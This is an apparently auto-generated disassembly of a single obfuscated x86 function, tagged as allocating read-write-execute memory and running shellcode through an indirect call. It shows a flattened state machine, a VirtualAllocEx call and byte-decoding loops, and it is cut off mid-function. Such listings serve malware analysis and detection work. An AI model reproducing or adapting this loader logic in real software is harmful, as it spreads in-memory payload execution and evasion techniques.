Function at 0x406d90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x274
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xcc], 0x77cc8786
mov eax, dword [ebp - 0xcc]
mov ecx, eax
sub ecx, 0x83f98339
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xd4], ecx
jg 0x406e67
jmp 0x406e4b
mov eax, dword [ebp - 0xd0]
sub eax, 0x805ada92
mov dword [ebp - 0xd8], eax
je 0x40745f
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x89998757
mov dword [ebp - 0xdc], eax
jg 0x406e9f
jmp 0x406e83
mov eax, dword [ebp - 0xd0]
sub eax, 0x83f9833a
mov dword [ebp - 0xe0], eax
je 0x4081d6
jmp 0x407439
mov eax, dword [ebp - 0xd0]
add eax, 0x578e258b
mov dword [ebp - 0xe4], eax
jg 0x406ed8
jmp 0x406ebc
mov eax, dword [ebp - 0xd0]
sub eax, 0x89998758
mov dword [ebp - 0xe8], eax
je 0x4082b3
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xb4ccc495
mov dword [ebp - 0xec], eax
jg 0x406f10
jmp 0x406ef4
mov eax, dword [ebp - 0xd0]
sub eax, 0xa871da76
mov dword [ebp - 0xf0], eax
je 0x407ec7
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xb6a45672
mov dword [ebp - 0xf4], eax
jg 0x406f48
jmp 0x406f2c
mov eax, dword [ebp - 0xd0]
sub eax, 0xb4ccc496
mov dword [ebp - 0xf8], eax
je 0x4076d1
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xb9a69d3d
mov dword [ebp - 0xfc], eax
jg 0x406f80
jmp 0x406f64
mov eax, dword [ebp - 0xd0]
sub eax, 0xb6a45673
mov dword [ebp - 0x100], eax
je 0x408256
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xc459ee16
mov dword [ebp - 0x104], eax
jg 0x406fb8
jmp 0x406f9c
mov eax, dword [ebp - 0xd0]
sub eax, 0xb9a69d3e
mov dword [ebp - 0x108], eax
je 0x4082cb
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xccaac186
mov dword [ebp - 0x10c], eax
jg 0x406ff0
jmp 0x406fd4
mov eax, dword [ebp - 0xd0]
sub eax, 0xc459ee17
mov dword [ebp - 0x110], eax
je 0x4074b3
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xcf530a1c
mov dword [ebp - 0x114], eax
jg 0x407028
jmp 0x40700c
mov eax, dword [ebp - 0xd0]
sub eax, 0xccaac187
mov dword [ebp - 0x118], eax
je 0x407ed6
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xcfac594d
mov dword [ebp - 0x11c], eax
jg 0x407060
jmp 0x407044
mov eax, dword [ebp - 0xd0]
sub eax, 0xcf530a1d
mov dword [ebp - 0x120], eax
je 0x407898
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xd5d9779f
mov dword [ebp - 0x124], eax
jg 0x407098
jmp 0x40707c
mov eax, dword [ebp - 0xd0]
sub eax, 0xcfac594e
mov dword [ebp - 0x128], eax
je 0x40747e
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xd7c97d8c
mov dword [ebp - 0x12c], eax
jg 0x4070d0
jmp 0x4070b4
mov eax, dword [ebp - 0xd0]
sub eax, 0xd5d977a0
mov dword [ebp - 0x130], eax
je 0x408111
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xe0ab2971
mov dword [ebp - 0x134], eax
jg 0x407108
jmp 0x4070ec
mov eax, dword [ebp - 0xd0]
sub eax, 0xd7c97d8d
mov dword [ebp - 0x138], eax
je 0x4081bd
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xe4c64240
mov dword [ebp - 0x13c], eax
jg 0x407140
jmp 0x407124
mov eax, dword [ebp - 0xd0]
sub eax, 0xe0ab2972
mov dword [ebp - 0x140], eax
je 0x407bc7
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0xedb87ad6
mov dword [ebp - 0x144], eax
jg 0x407178
jmp 0x40715c
mov eax, dword [ebp - 0xd0]
sub eax, 0xe4c64241
mov dword [ebp - 0x148], eax
je 0x4080f8
jmp 0x407439
mov eax, dword [ebp - 0xd0]
add eax, 0x1800d58
mov dword [ebp - 0x14c], eax
jg 0x4071b1
jmp 0x407195
mov eax, dword [ebp - 0xd0]
sub eax, 0xedb87ad7
mov dword [ebp - 0x150], eax
je 0x40749d
jmp 0x407439
mov eax, dword [ebp - 0xd0]
add eax, 0xf8fe6359
mov dword [ebp - 0x154], eax
jg 0x4071ea
jmp 0x4071ce
mov eax, dword [ebp - 0xd0]
sub eax, 0xfe7ff2a9
mov dword [ebp - 0x158], eax
je 0x408227
jmp 0x407439
mov eax, dword [ebp - 0xd0]
add eax, 0xf735c6f0
mov dword [ebp - 0x15c], eax
jg 0x407223
jmp 0x407207
mov eax, dword [ebp - 0xd0]
sub eax, 0x7019ca8
mov dword [ebp - 0x160], eax
je 0x408138
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x77cc8785
mov dword [ebp - 0x164], eax
jg 0x40741d
jmp 0x40723f
mov eax, dword [ebp - 0xd0]
add eax, 0x8865f1a1
mov dword [ebp - 0x168], eax
jg 0x407401
jmp 0x40725c
mov eax, dword [ebp - 0xd0]
sub eax, 0x51ad674c
mov dword [ebp - 0x16c], eax
jg 0x4073e4
jmp 0x407278
mov eax, dword [ebp - 0xd0]
sub eax, 0x485ef934
mov dword [ebp - 0x170], eax
jg 0x4073c8
jmp 0x407294
mov eax, dword [ebp - 0xd0]
sub eax, 0x426082ae
mov dword [ebp - 0x174], eax
jg 0x4073ac
jmp 0x4072b0
mov eax, dword [ebp - 0xd0]
sub eax, 0x2a4a0964
mov dword [ebp - 0x178], eax
jg 0x407390
jmp 0x4072cc
mov eax, dword [ebp - 0xd0]
sub eax, 0x1b0c8b7c
mov dword [ebp - 0x17c], eax
jg 0x407374
jmp 0x4072e8
mov eax, dword [ebp - 0xd0]
sub eax, 0x139defff
mov dword [ebp - 0x180], eax
jg 0x407358
jmp 0x407304
mov eax, dword [ebp - 0xd0]
sub eax, 0x8ca3911
mov dword [ebp - 0x184], eax
je 0x4077f0
jmp 0x407320
mov eax, dword [ebp - 0xd0]
sub eax, 0x8f74839
mov dword [ebp - 0x188], eax
je 0x407721
jmp 0x40733c
mov eax, dword [ebp - 0xd0]
sub eax, 0xa81601b
mov dword [ebp - 0x18c], eax
je 0x407ad8
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x139df000
mov dword [ebp - 0x190], eax
je 0x407806
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x1b0c8b7d
mov dword [ebp - 0x194], eax
je 0x407709
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x2a4a0965
mov dword [ebp - 0x198], eax
je 0x4081e5
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x426082af
mov dword [ebp - 0x19c], eax
je 0x407877
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x485ef935
mov dword [ebp - 0x1a0], eax
je 0x407df2
jmp 0x407439
mov eax, dword [ebp - 0xd0]
add eax, 0xae5298b3
mov dword [ebp - 0x1a4], eax
je 0x4082a4
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x779a0e60
mov dword [ebp - 0x1a8], eax
je 0x4076e7
jmp 0x407439
mov eax, dword [ebp - 0xd0]
sub eax, 0x77cc8786
mov dword [ebp - 0x1ac], eax
je 0x40743e
jmp 0x407439
jmp 0x4082d9
mov eax, 0x805ada92
mov ecx, 0xedb87ad7
mov edx, dword [ebp - 0x68]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, 0xcfac594e
mov ecx, 0xedb87ad7
cmp dword [ebp - 0x74], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, 0xc459ee17
mov ecx, 0xedb87ad7
cmp dword [ebp - 0x70], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xb9a69d3e
jmp 0x4082d9
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0x37585451
mov eax, dword [ebp - 0x64]
mov ecx, eax
sub ecx, 0xea43bf50
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1b4], ecx
jg 0x407505
jmp 0x4074e9
mov eax, dword [ebp - 0x1b0]
sub eax, 0x860e67e1
mov dword [ebp - 0x1b8], eax
je 0x4076ac
jmp 0x407601
mov eax, dword [ebp - 0x1b0]
sub eax, 0x616ab349
mov dword [ebp - 0x1bc], eax
jg 0x4075e5
jmp 0x407521
mov eax, dword [ebp - 0x1b0]
sub eax, 0x43233c51
mov dword [ebp - 0x1c0], eax
jg 0x4075c9
jmp 0x40753d
mov eax, dword [ebp - 0x1b0]
sub eax, 0x37585450
mov dword [ebp - 0x1c4], eax
jg 0x4075ad
jmp 0x407559
mov eax, dword [ebp - 0x1b0]
sub eax, 0xea43bf51
mov dword [ebp - 0x1c8], eax
je 0x407678
jmp 0x407575
mov eax, dword [ebp - 0x1b0]
sub eax, 0xed808cec
mov dword [ebp - 0x1cc], eax
je 0x407624
jmp 0x407591
mov eax, dword [ebp - 0x1b0]
sub eax, 0x278f55a
mov dword [ebp - 0x1d0], eax
je 0x40764e
jmp 0x407601
mov eax, dword [ebp - 0x1b0]
sub eax, 0x37585451
mov dword [ebp - 0x1d4], eax
je 0x407606
jmp 0x407601
mov eax, dword [ebp - 0x1b0]
sub eax, 0x43233c52
mov dword [ebp - 0x1d8], eax
je 0x40766c
jmp 0x407601
mov eax, dword [ebp - 0x1b0]
sub eax, 0x616ab34a
mov dword [ebp - 0x1dc], eax
je 0x407699
jmp 0x407601
jmp 0x4076a7
mov eax, 0x616ab34a
mov ecx, 0xed808cec
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x41852c]
cmovb eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x4076a7
mov eax, 0x43233c52
mov ecx, 0x278f55a
lea edx, [0x4184fc]
imul esi, dword [ebp - 0x60], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x5c]
cmove eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x4076a7
lea eax, [0x4184fc]
imul ecx, dword [ebp - 0x60], 0xc
add eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], 0x860e67e1
jmp 0x4076a7
mov dword [ebp - 0x64], 0xea43bf51
jmp 0x4076a7
mov eax, dword [ebp - 0x60]
sub eax, 0x6efe6a65
add eax, 1
add eax, 0x6efe6a65
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0x37585451
jmp 0x4076a7
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x64], 0x860e67e1
jmp 0x4074c7
mov eax, 0x779a0e60
mov ecx, 0xb4ccc496
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xb9a69d3e
jmp 0x4082d9
mov eax, 0x8f74839
mov ecx, 0x1b0c8b7d
mov edx, dword [ebp - 0x80]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0xb9a69d3e
jmp 0x4082d9
lea eax, [0x418534]
mov ecx, dword [ebp - 0x80]
add eax, dword [ecx]
mov dword [ebp - 0x7c], eax
call fcn.00406700
mov ecx, 0
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x7c]
add eax, 0x2f
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov edx, dword [ebp - 0x7c]
add edx, 0x2f
shl eax, 2
add edx, eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x27]
shl edx, 1
mov esi, ecx
sub esi, eax
mov eax, ecx
sub eax, edx
add esi, eax
sub ecx, esi
mov eax, dword [ebp - 0x7c]
add eax, 0x2f
shl ecx, 2
add eax, ecx
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 0x1000
mov dword [ecx + 0x10], 0x40
mov dword [ecx + 4], 0
mov dword [ecx], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov ecx, 0x139df000
mov edx, 0x8ca3911
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
cmove ecx, edx
mov dword [ebp - 0xcc], ecx
jmp 0x4082d9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xb9a69d3e
jmp 0x4082d9
mov eax, 0
mov ecx, dword [ebp - 0xc4]
mov edx, dword [0x418530]
add ecx, 0xce5539bd
sub ecx, edx
sub ecx, 0xce5539bd
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x80]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0xc4]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0x426082af
jmp 0x4082d9
mov eax, 0x89998758
mov ecx, 0xcf530a1d
mov edx, dword [ebp - 0xa4]
cmp edx, dword [ebp - 0x70]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa4]
add eax, 0x9fb75922
add eax, ecx
sub eax, 0x9fb75922
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0x1fa23806
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0x633c66b4
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], ecx
jg 0x4079fa
jmp 0x4078fe
mov eax, dword [ebp - 0x1e0]
sub eax, 0xad106506
mov dword [ebp - 0x1e8], eax
jg 0x407936
jmp 0x40791a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9d50a8e5
mov dword [ebp - 0x1ec], eax
je 0x407a36
jmp 0x407a16
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc5f48229
mov dword [ebp - 0x1f0], eax
jg 0x40796e
jmp 0x407952
mov eax, dword [ebp - 0x1e0]
sub eax, 0xad106507
mov dword [ebp - 0x1f4], eax
je 0x407a71
jmp 0x407a16
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb482e2b
mov dword [ebp - 0x1f8], eax
jg 0x4079a6
jmp 0x40798a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc5f4822a
mov dword [ebp - 0x1fc], eax
je 0x407a9e
jmp 0x407a16
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb482e2c
mov dword [ebp - 0x200], eax
je 0x407a7d
jmp 0x4079c2
mov eax, dword [ebp - 0x1e0]
sub eax, 0x1fa23806
mov dword [ebp - 0x204], eax
je 0x407a1b
jmp 0x4079de
mov eax, dword [ebp - 0x1e0]
sub eax, 0x2ea72f20
mov dword [ebp - 0x208], eax
je 0x407ab1
jmp 0x407a16
mov eax, dword [ebp - 0x1e0]
sub eax, 0x633c66b5
mov dword [ebp - 0x20c], eax
je 0x407a57
jmp 0x407a16
jmp 0x407aac
mov eax, 0xc5f4822a
mov ecx, 0x9d50a8e5
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407aac
mov eax, 0xad106507
mov ecx, 0x633c66b5
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407aac
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0x2ea72f20
jmp 0x407aac
mov dword [ebp - 0x24], 0xb482e2c
jmp 0x407aac
mov eax, dword [ebp - 0x20]
add eax, 0xbe1c0260
add eax, 1
sub eax, 0xbe1c0260
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0x1fa23806
jmp 0x407aac
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0x2ea72f20
jmp 0x4078dc
mov eax, 0xe0ab2972
mov ecx, 0xa81601b
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, 0
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x88]
mov edx, dword [edx + 4]
mov esi, dword [ebp - 0x7c]
mov esi, dword [esi + 0x1f]
mov edi, edx
xor edi, 0xffffffff
and edi, 0xd42958f
xor ecx, 0xd42958f
and edx, ecx
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0xd42958f
and esi, ecx
or edi, edx
or ebx, esi
xor edi, ebx
mov ecx, dword [ebp - 0xc4]
mov edx, eax
sub edx, edi
mov esi, eax
sub esi, ecx
add edx, esi
mov ecx, eax
sub ecx, edx
mov dword [ebp - 0xbc], ecx
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
sub edx, 0x7675afa4
add edx, esi
add edx, 0x7675afa4
sub edx, 0x4af001ad
add edx, 4
add edx, 0x4af001ad
mov esi, eax
sub esi, edx
add ecx, esi
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
mov ecx, eax
sub ecx, edx
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xb0]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xcc], 0x426082af
jmp 0x4082d9
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0x1fa23806
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x633c66b4
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], ecx
jg 0x407d0e
jmp 0x407c12
mov eax, dword [ebp - 0x210]
sub eax, 0xad106506
mov dword [ebp - 0x218], eax
jg 0x407c4a
jmp 0x407c2e
mov eax, dword [ebp - 0x210]
sub eax, 0x9d50a8e5
mov dword [ebp - 0x21c], eax
je 0x407d4a
jmp 0x407d2a
mov eax, dword [ebp - 0x210]
sub eax, 0xc5f48229
mov dword [ebp - 0x220], eax
jg 0x407c82
jmp 0x407c66
mov eax, dword [ebp - 0x210]
sub eax, 0xad106507
mov dword [ebp - 0x224], eax
je 0x407d85
jmp 0x407d2a
mov eax, dword [ebp - 0x210]
sub eax, 0xb482e2b
mov dword [ebp - 0x228], eax
jg 0x407cba
jmp 0x407c9e
mov eax, dword [ebp - 0x210]
sub eax, 0xc5f4822a
mov dword [ebp - 0x22c], eax
je 0x407db8
jmp 0x407d2a
mov eax, dword [ebp - 0x210]
sub eax, 0xb482e2c
mov dword [ebp - 0x230], eax
je 0x407d91
jmp 0x407cd6
mov eax, dword [ebp - 0x210]
sub eax, 0x1fa23806
mov dword [ebp - 0x234], eax
je 0x407d2f
jmp 0x407cf2
mov eax, dword [ebp - 0x210]
sub eax, 0x2ea72f20
mov dword [ebp - 0x238], eax
je 0x407dcb
jmp 0x407d2a
mov eax, dword [ebp - 0x210]
sub eax, 0x633c66b5
mov dword [ebp - 0x23c], eax
je 0x407d6b
jmp 0x407d2a
jmp 0x407dc6
mov eax, 0xc5f4822a
mov ecx, 0x9d50a8e5
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x407dc6
mov eax, 0xad106507
mov ecx, 0x633c66b5
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x407dc6
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x2ea72f20
jmp 0x407dc6
mov dword [ebp - 0x3c], 0xb482e2c
jmp 0x407dc6
mov eax, 0
mov ecx, dword [ebp - 0x38]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x1fa23806
jmp 0x407dc6
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], 0x2ea72f20
jmp 0x407bf0
mov eax, 0xa871da76
mov ecx, 0x485ef935
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, 0xffffffff
mov ecx, 0
mov edx, dword [ebp - 0xb8]
mov esi, dword [ebp - 0xc4]
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, esi
add edi, edx
mov edx, ecx
sub edx, edi
mov edx, dword [edx]
mov esi, dword [ebp - 0xc8]
sub ecx, esi
add edx, ecx
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x1f]
mov esi, edx
xor esi, 0xffffffff
and esi, 0x665fe6b0
xor eax, 0x665fe6b0
and edx, eax
mov edi, ecx
xor edi, 0xffffffff
and edi, 0x665fe6b0
and ecx, eax
or esi, edx
or edi, ecx
xor esi, edi
mov eax, dword [ebp - 0xc8]
add esi, 0xff53520f
add esi, eax
sub esi, 0xff53520f
mov dword [ebp - 0xc0], esi
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xa4]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xa4]
add eax, 0xa71b2a19
add eax, 4
sub eax, 0xa71b2a19
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xb4]
sub eax, 0x3271f05a
add eax, 1
add eax, 0x3271f05a
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xcc], 0x426082af
jmp 0x4082d9
mov dword [ebp - 0xcc], 0xccaac187
jmp 0x4082d9
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x58488551
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0xca1ee1f3
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x244], ecx
jg 0x407f3d
jmp 0x407f21
mov eax, dword [ebp - 0x240]
sub eax, 0xb22f4d2d
mov dword [ebp - 0x248], eax
je 0x40807a
jmp 0x408039
mov eax, dword [ebp - 0x240]
sub eax, 0xd80531b0
mov dword [ebp - 0x24c], eax
jg 0x407f75
jmp 0x407f59
mov eax, dword [ebp - 0x240]
sub eax, 0xca1ee1f4
mov dword [ebp - 0x250], eax
je 0x408059
jmp 0x408039
mov eax, dword [ebp - 0x240]
sub eax, 0xe9c1f563
mov dword [ebp - 0x254], eax
jg 0x407fad
jmp 0x407f91
mov eax, dword [ebp - 0x240]
sub eax, 0xd80531b1
mov dword [ebp - 0x258], eax
je 0x4080a0
jmp 0x408039
mov eax, dword [ebp - 0x240]
sub eax, 0xe7fa2e9
mov dword [ebp - 0x25c], eax
jg 0x407fe5
jmp 0x407fc9
mov eax, dword [ebp - 0x240]
sub eax, 0xe9c1f564
mov dword [ebp - 0x260], eax
je 0x408094
jmp 0x408039
mov eax, dword [ebp - 0x240]
sub eax, 0xe7fa2ea
mov dword [ebp - 0x264], eax
je 0x4080d1
jmp 0x408001
mov eax, dword [ebp - 0x240]
sub eax, 0x58488551
mov dword [ebp - 0x268], eax
je 0x40803e
jmp 0x40801d
mov eax, dword [ebp - 0x240]
sub eax, 0x5cb06365
mov dword [ebp - 0x26c], eax
je 0x4080be
jmp 0x408039
jmp 0x4080cc
mov eax, 0x5cb06365
mov ecx, 0xca1ee1f4
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x4080cc
mov eax, 0xe9c1f564
mov ecx, 0xb22f4d2d
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x4080cc
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0xe7fa2ea
jmp 0x4080cc
mov dword [ebp - 0x54], 0xd80531b1
jmp 0x4080cc
mov eax, 0
mov ecx, dword [ebp - 0x50]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], 0x58488551
jmp 0x4080cc
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0xe7fa2ea
jmp 0x407eff
mov eax, 0xb6a45673
mov ecx, 0xe4c64241
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x90], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xcc], 0xd5d977a0
jmp 0x4082d9
mov eax, 0xfe7ff2a9
mov ecx, 0x7019ca8
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x90]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov eax, 0x83f9833a
mov ecx, 0xd7c97d8d
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0x98]
movzx edx, byte [esi + edx]
mov esi, dword [ebp - 0xa8]
mov edi, esi
sub edi, 0xac3739fa
add edi, 1
add edi, 0xac3739fa
mov dword [ebp - 0xa8], edi
mov edi, dword [ebp - 0x7c]
movzx esi, byte [edi + esi + 1]
mov edi, edx
xor edi, 0xffffffff
mov ebx, esi
and ebx, edi
xor esi, 0xffffffff
and edx, esi
or ebx, edx
mov dl, bl
mov esi, dword [ebp - 0xa4]
mov edi, dword [ebp - 0x9c]
mov byte [edi + esi], dl
mov esi, dword [ebp - 0xa8]
mov edi, dword [ebp - 0x7c]
movzx edi, byte [edi]
cmp esi, edi
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4082d9
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0x83f9833a
jmp 0x4082d9
mov dword [ebp - 0xcc], 0x2a4a0965
jmp 0x4082d9
mov eax, 0
mov ecx, dword [ebp - 0xac]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xac], ecx
mov eax, dword [ebp - 0xa4]
add eax, 0x72389b46
add eax, 1
sub eax, 0x72389b46
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xcc], 0xd5d977a0
jmp 0x4082d9
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa0]
sub ecx, 0x3fcf0f5c
add ecx, eax
add ecx, 0x3fcf0f5c
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xcc], 0x51ad674d
jmp 0x4082d9
mov eax, 0
mov ecx, dword [ebp - 0xa4]
